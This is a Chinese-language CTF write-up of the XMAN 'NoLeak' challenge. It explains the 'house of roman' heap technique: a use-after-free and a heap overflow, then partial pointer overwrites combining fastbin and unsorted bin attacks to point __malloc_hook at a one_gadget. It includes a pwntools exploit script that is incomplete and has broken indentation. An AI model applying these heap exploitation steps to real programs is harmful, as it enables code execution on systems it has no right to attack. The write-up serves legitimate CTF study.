noleak

 

house of roman

题目为xman选拔赛 Noleak 当时没做出来,今天有时间看了下wp 题目主要是利用了aslr的低地址随机化程度不高,利用局部写可以得到一些我们想要的值, 题目中的漏洞很明显,一个是delete函数没有对指针清零,另一个就是update函数可以越界写 主要的难点就是没有printf之类的函数,不能泄露地址

void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  say("Index: ", 7u);
  v0 = getinput();
  if ( v0 <= 9 )
    free(heaplst[v0]);                          // didnt nullified
}      

                                     // can uaf maybe

——————————————————————————————————————————————————————

int edit()
    {
      void *v0; // rax
      unsigned int nbytes; // ST0C_4
      int idx; // [rsp+8h] [rbp-8h]

      say("Index: ", 7u);
  LODWORD(v0) = getinput();
  idx = v0;
  if ( v0 <= 9 )
  {
    v0 = heaplst[v0];
    if ( v0 )
    {
      say("Size: ", 6u);
      nbytes = getinput();                      // over flow
      say("Data: ", 6u);
      LODWORD(v0) = read(0, heaplst[idx], nbytes);
    }
  }
  return v0;
}

首先构造五个堆块,零号堆块的作用主要是堆结构的对齐以及修改一号堆块大小,风水堆块 其后的四个堆块分别大小为 0xd0 0x70 0xd0 0x70 目的主要是要利用unsortedbinattack以及fastbinattck,并且要保证不合并以及不被topchunk吞掉 控制一号堆块中的内容,使其看起来像是两个堆块,并且前一个堆块的大小为0x70,为后续的fastbin attack做准备 delete掉一号堆块和三号堆块,这时一号堆块fd指向mainarena,bk指向3号堆块 再次分配1号堆块,使原有的指针信息得以保留 释放2号和四号堆块,使其进入fastbin 利用0号堆块修改1号堆块的size为0x71,并利用uaf修改4号堆块的指针低字节,由于堆上的偏移固定,则可以令其指向1号堆块 修改一号堆块的fd指针的低2字节令其指向malloc hook - 0x23处 分配三个0x70大小的堆块,这样第三个堆块就是在mallochook附近了 我们现在需要向malloc hook 写入onegadget的地址,但是现在我们并不具有具体地地址信息,我们知道通过unsortedbinattack可以向任意地址写入固定值,这个固定值通过修改低字节可以得到onegadget的地址 这样我们修改三号堆块的bk指针使其指向malloc hook - 0x10,向malloc hook 写入一个main_arena 地址,通过修改刚刚申请到的位于malloc hook附近的堆块,改写其低字节,我们就可以达到使malloc hook 指向onegadget的效果 double free即可getshell

exp:

from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
io = process('./NoLeak')
elf = ELF('NoLeak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

one = 0xe9415
def add(size,data):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil('Size:')
    io.sendline(str(size))
    io.recvuntil

(':')
        io.sendline(data)
    def delete(index):
        io.recvuntil(':')
        io.sendline('2')
        io.recvuntil('Index:')
        io.sendline(str(index))
    def update(index,size,data):
        io.recvuntil(':')
        io.sendline('3')
        io.recvuntil('Index:')
        io.sendline(str(index))
        io.recvuntil('Size:')
        io.sendline(str(size))
        io.recvuntil('Data:')
        io.sendline(data)
    add(0x10,'A'*0x10)#0
    add(0xc0,'B'*0xc0)#1
    add(0x60,'C'*0x60)#2
    add(0xc0,'D'*0xc0)#3
    add(0x60,'E'*0x60)#4

    update(1,0xc0,'B'*0x68 + p64(0x61)) #split 1 to 2 chunks
    delete(1)
    delete(3)
    add(0xc0,'')#5 == 2
    delete(2)
    delete(4)
    update(0,0x20,'A'*0x18 + p64(0x71))
    update(4,1,'\x20')
    update(2,1,'\x1d')
    add(0x60,'E'*0x60)#6
    add(0x60,'C'*0x60)#7
    add(0x60,'')#8 --- mlh
    delete(7)
    update(7,8,p64(0))
    update(3,0x10,p64(0)+'\x0d')
    add(0xc0,'D'*0xc0)
    #_______brute force_______#
    update(8,0x13,'A'*3 + '\x15\x94\x0e')
    delete(0)
    delete(0)
    io.interactive()
    gdb.attach(io)
    raw_input()

exp并没有写完,因为我的虚拟机有些问题。。而且还要写暴力破解,懒 总结一下: house of roman 主要就是通过改写低字节来控制指针的指向,通过fastbin的fd以及unsortedbin的fd,bk指针的一些特性达到控制堆地址和libc地址的效果,本质上是unsorted bin attack 结合 fastbin attack 首先控制写malloc hook 的堆块,而后利用unsorted bin attack向mallochook写入固定值,改写低地址